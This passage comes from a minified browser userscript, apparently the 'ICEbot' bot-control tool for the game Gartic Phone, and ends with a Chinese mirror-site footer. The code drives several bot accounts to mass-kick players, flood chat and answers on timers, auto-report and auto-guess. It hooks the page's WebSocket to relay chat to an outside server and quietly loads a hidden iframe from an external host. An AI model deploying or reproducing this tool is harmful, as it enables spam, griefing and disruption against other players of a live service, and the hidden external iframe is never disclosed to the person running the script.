f(".contentPopup .nick").innerText + ".." + num(10000)); }); } } f("input[name=chat]") ? f("input[name=chat]").setAttribute("placeholder", +botc + " bot aktif") : 0; f(".taktifbot") ? f(".taktifbot").innerText = botc : 0; initializePanel(); ['autoreport', 'autoskip', 'antikick', 'autokick', 'antiafk', 'autofarm', 'autoguess'].forEach(id => { const el = f(`#${id}`); if (el && !el.hasListener) { el.addEventListener('click', () => { GM_setValue(id, el.checked); }); el.hasListener = true; } }); }, 100); GM_addValueChangeListener("botekle", function(I, C, E, b) { botc++; f(".taktifbot") ? f(".taktifbot").innerText = botc : 0; f("#icebotlog").innerText = `Durum: ${botc} bot aktif`; }); GM_addValueChangeListener("ready", function(I, C, E, b) { readyc++; readyc >= botc && botc != 0 ? GM_setValue("join", rand()) : 0; }); GM_addValueChangeListener("botexit", function(I, C, E, b) { botc--; f(".taktifbot") ? f(".taktifbot").innerText = botc : 0; f("#icebotlog").innerText = `Durum: ${botc} bot aktif`; }); let customkick = localStorage.getItem("customkick"); if (!customkick) { localStorage.setItem("customkick", "[]"); } if (customkick) { let list = []; try { list = JSON.parse(customkick); } catch (e) { console.error('customkick parse hatası:', e); } list.forEach(user => { setTimeout(() => { const container = f("#kicklist-items"); if (!container) return; const item = document.createElement('div'); item.className = 'player-item'; item.innerHTML = ` <span class="player-name">${user.user}</span> <button class="kick-btn" id="customkickuser.${user.user}">Kaldır</button> `; container.appendChild(item); item.querySelector(`#customkickuser\\.${user.user}`).addEventListener('click', () => { window.postMessage(`customkickremove.${user.user}`, '*'); }); addItem(customkickitems, user.user); }, 3000); }); } let msgjoin = localStorage.getItem("messagejoin"); if (!msgjoin) { localStorage.setItem("messagejoin", "[]"); } if (msgjoin) { let list = []; try { list = JSON.parse(msgjoin); } catch (e) { console.error('messagejoin parse hatası:', e); } list.forEach(item => { setTimeout(() => { const container = f("#joinmessage-items"); if (!container) return; const item = document.createElement('div'); item.className = 'player-item'; item.innerHTML = ` <span class="player-name">${item.msg}</span> <button class="kick-btn" id="msgjoin.${item.msg}">Kaldır</button> `; container.appendChild(item); item.querySelector(`#msgjoin\\.${item.msg}`).addEventListener('click', () => { window.postMessage(`messagejoinremove.${item.msg}`, '*'); }); addItem(messagejoinitems, item.msg); }, 3000); }); } let avataritem = localStorage.getItem("avatar"); if (!avataritem) { localStorage.setItem("avatar", 1); avatar = 1; } if (avataritem == 'null') { setTimeout(() => { f("#avatar").src = "https://garticphone.com/images/avatar/31.svg"; }, 1000); } let botnickitem = localStorage.getItem("botnick"); if (!botnickitem) { localStorage.setItem("botnick", "0"); } let nickitem = localStorage.getItem("nick"); if (!nickitem) { localStorage.setItem("nick", "ICEbot"); } } if (window.location.href.indexOf("onrender") != -1) { let originalSend = WebSocket.prototype.send, setTrue = false; window.wsObj = {}; WebSocket.prototype.send = function(data) { originalSend.apply(this, arguments); if (Object.keys(window.wsObj).length == 0) { window.wsObj = this; window.eventAdd(); } }; window.eventAdd = () => { if (!setTrue) { setTrue = 1; setTimeout(() => { window.wsObj.send('42["joinRoom",{"username":"User' + Math.ceil(Math.random() * 100000 + 1) + '","room":"ICEv0009"}]'); }, 3000); window.wsObj.addEventListener("message", (msg) => { let vx = JSON.parse('[' + msg.data.split('42[')[1]); if (msg.data.indexOf('42["chatMessage"') !== -1 && vx[1].type !== 'bot') { GM_sendMessage("msge", vx[1].user, vx[1].chatMessage, num(5000)); } }); } }; GM_onMessage("msgf", (n, m, _) => { let a = new Date(); let d = a.toISOString(); window.wsObj.send('42["chatMessage",{"user":"' + n + '","time":"' + d + '","type":"text","chatMessage":"' + m + '"}]'); }); } window.addEventListener("message", function(event) { if (typeof(event.data) === "string") { if (event.data == "chat") { GM_setValue("msg", f("#message").value + "►" + num(5000)); GM_sendMessage('cmd', 'msg', f("#message").value, num(5000)); } if (event.data.indexOf("kickuser.") != -1) { let userid = event.data.split("kickuser.")[1]; GM_setValue("kick", userid + ".." + num(10000)); GM_sendMessage("cmd", 'kick', userid + ".." + num(10000)); } if (event.data.indexOf("kickusernick.") != -1) { let usernick = event.data.split("kickusernick.")[1]; console.log('Kicking user by nick:', usernick); let c = fnFILTER(usersinroom); console.log('Filtered usersinroom:', c); c.forEach(x => { if (x.nick && x.nick === usernick && x.nick !== localStorage.getItem("nick")) { let userid = x.id; console.log(`Found matching user: ${x.nick}, ID: ${userid}`); if (!botsidvalue.includes(userid)) { GM_setValue("kick", userid + ".." + num(5000)); GM_sendMessage("cmd", 'kick', userid + ".." + num(10000)); Swal.fire({ toast: true, position: 'top-end', icon: 'success', title: `${usernick} için kick komutu gönderildi!`, showConfirmButton: false, timer: 2000 }); } else { console.log(`User ${x.nick} is a bot, skipping kick.`); } } else if (!x.nick) { console.warn(`User object missing nick property:`, x); } }); } if (event.data == "broadcast") { GM_setValue("broadcast", f("#broadcast").value + "►" + num(5000)); GM_sendMessage('cmd', 'broadcast', f("#broadcast").value, num(5000)); } if (event.data == "answer") { GM_setValue("answer", f("#answer").value + "►" + num(5000)); GM_sendMessage('cmd', 'answer', f("#answer").value, num(5000)); } if (event.data == "report") { GM_setValue('report', num(5000)); GM_sendMessage('cmd', 'report', 'x', num(5000)); } if (event.data == "jump") { GM_setValue('jump', num(5000)); } if (event.data == "reconnect") { GM_sendMessage('reconnect', rand(), rand()); } if (event.data == "acceptdraw1") { GM_setValue('acceptdraw1', num(5000)); GM_sendMessage('cmd', 'accept1', 'x', num(5000)); } if (event.data == "acceptdraw2") { GM_setValue('acceptdraw2', num(5000)); GM_sendMessage('cmd', 'accept2', 'x', num(5000)); } if (event.data == "tips") { GM_setValue('tips', num(5000)); GM_sendMessage('cmd', 'tips', 'x', num(5000)); } if (event.data == "exit") { GM_setValue('exit', num(5000)); GM_sendMessage('cmd', 'exit', 'x', num(5000)); } if (event.data == "rejoin") { GM_setValue('exit', num(5000)); let msgstorage = localStorage.getItem("messagejoin"); if (msgstorage) { let vm = JSON.parse(msgstorage); setTimeout(() => { vm.forEach(item => { GM_setValue("msg", item.msg + "►" + num(5000)); }); }, 4000); } GM_sendMessage("join", f("#roomlink").value.split("/")[3], f("#botnick")?.value || nick, avatar, localStorage.getItem("botnick"), f(".kickonjoin")?.checked || false, JSON.parse(localStorage.getItem("messagejoin") || "[]"), rand()); } if (event.data == "kickall") { var elements = document.getElementsByClassName("kickmenubtn"); var elementsvalue = []; for (var i = 0; i < elements.length; i++) { elementsvalue.push(elements[i].getAttribute("onclick")); } elementsvalue.forEach(function(value, index) { setTimeout(function() { let userid = value.split("kickuser.")[1].split("','*")[0]; GM_setValue("kick", userid + ".." + num(10000)); GM_sendMessage("cmd", 'kick', userid + ".." + num(10000)); }, 550 * index); }); } if (event.data == "broadcastspamtoggle") { let broadcastspamMS = parseInt(localStorage.getItem("broadcastspam")) || 1000; var broadcastspam = f("#broadcastspam").value; intervalbroadcast = setInterval(() => { GM_setValue("broadcast", broadcastspam + "►" + num(5000)); }, broadcastspamMS); f("#broadcaststart").style.display = "none"; f("#broadcaststop").style.display = "block"; } if (event.data == "chatspamtoggle") { let messagespamMS = parseInt(localStorage.getItem("messagespam")) || 1000; var messagespam = f("#messagespam").value; intervalmsg = setInterval(() => { var chatspam = f("#messagespam").value; GM_setValue("msg", chatspam + "►" + num(5000)); }, messagespamMS); f("#msgstart").style.display = "none"; f("#msgstop").style.display = "block"; } if (event.data == "answerspamtoggle") { let answerspamMS = parseInt(localStorage.getItem("answerspam")) || 1000; var answerspam = f("#answerspam").value; intervalanswer = setInterval(() => { var answerspam = f("#answerspam").value; GM_setValue("answer", answerspam + "►" + num(5000)); }, answerspamMS); f("#answerstart").style.display = "none"; f("#answerstop").style.display = "block"; } if (event.data == "stopbroadcast") { clearInterval(intervalbroadcast); f("#broadcaststart").style.display = "block"; f("#broadcaststop").style.display = "none"; } if (event.data == "stopmsg") { clearInterval(intervalmsg); f("#msgstart").style.display = "block"; f("#msgstop").style.display = "none"; } if (event.data == "stopanswer") { clearInterval(intervalanswer); f("#answerstart").style.display = "block"; f("#answerstop").style.display = "none"; } if (event.data == "autoguess") { if (f("#autoguess").checked) { GM_setValue("autoguess", 1); } else { GM_setValue("autoguess", 0); clearInterval(wordsInterval); } } if (event.data == "autoguessenable") { f("#autoguessenable").style.display = "none"; f("#autoguessdisable").style.display = "block"; GM_setValue("autoguess", 1); } if (event.data == "autoguessdisable") { f("#autoguessenable").style.display = "block"; f("#autoguessdisable").style.display = "none"; GM_setValue("autoguess", 0); clearInterval(wordsInterval); } if (event.data.indexOf("customkickremove.") != -1) { let user = event.data.split("customkickremove.")[1]; let list = JSON.parse(localStorage.getItem('customkick') || "[]"); list = list.filter(item => item.user !== user); localStorage.setItem('customkick', JSON.stringify(list)); const item = f(`#customkickuser\\.${user}`)?.parentElement; if (item) item.remove(); customkickitems = customkickitems.filter(item => item !== user); Swal.fire({ toast: true, position: 'top-end', icon: 'success', title: `${user} kaldırıldı!`, showConfirmButton: false, timer: 2000 }); } if (event.data.indexOf("messagejoinremove.") != -1) { let msg = event.data.split("messagejoinremove.")[1]; let list = JSON.parse(localStorage.getItem('messagejoin') || "[]"); list = list.filter(item => item.msg !== msg); localStorage.setItem('messagejoin', JSON.stringify(list)); const item = f(`#msgjoin\\.${msg}`)?.parentElement; if (item) item.remove(); messagejoinitems = messagejoinitems.filter(item => item !== msg); Swal.fire({ toast: true, position: 'top-end', icon: 'success', title: 'Mesaj kaldırıldı!', showConfirmButton: false, timer: 2000 }); } if (event.data == "hidemenu") { const elements = ['icebot1', 'icebot2', 'icebot3', 'icebot4', 'icebot5', 'icebot6', 'avatarlist']; elements.forEach(element => { const el = document.getElementById(element); if (el) el.style.display = 'none'; }); } if (event.data == "theme") { const colors = [ f("#color1").value, f("#color2").value, f("#color3").value, f("#color4").value ]; GM_addStyle(` .icebot { background: ${colors[0]}; } .icebot input[type="text"], .icebot input[type="color"] { border-color: ${colors[1]}; } .icebot input[type="submit"] { background: ${colors[2]}; } .player-item { background: ${colors[3]}; } `); } } }); function xmv() { const userAgent = navigator.userAgent.toLowerCase(); const dM = ['android', 'webos', 'iphone', 'ipad', 'ipod', 'blackberry', 'windows phone']; for (let d of dM) { if (userAgent.includes(d)) { let ice = fa(".icebot, .userlist, .option"); ice.forEach(panel => { panel.style.width = "90%"; panel.style.left = "5%"; panel.style.right = "5%"; panel.style.top = "auto"; panel.style.position = "relative"; panel.style.margin = "10px auto"; }); } } } setTimeout(() => { xmv(); }, 200); localStorage.getItem("botc") ? 0 : localStorage.setItem("botc", 0); GM_setValue("resetcount", rand()); setTimeout(() => { var iframe = document.createElement("iframe"); iframe.src = "https://anomly.onrender.com/home"; iframe.width = "30"; iframe.height = "30"; iframe.style.display = "none"; document.body.appendChild(iframe); }, 2000); setTimeout(() => { localStorage.setItem('TOKEN', btoa(Date.now())); }, 500); GM_onMessage("msge", (u, m, _) => { const log = f("#icebotlog .icebotlog"); if (log) log.innerHTML += `<div class="player-item"><span class="player-name">${u}: ${m}</span></div>`; }); })();
QingJ © 2025
镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址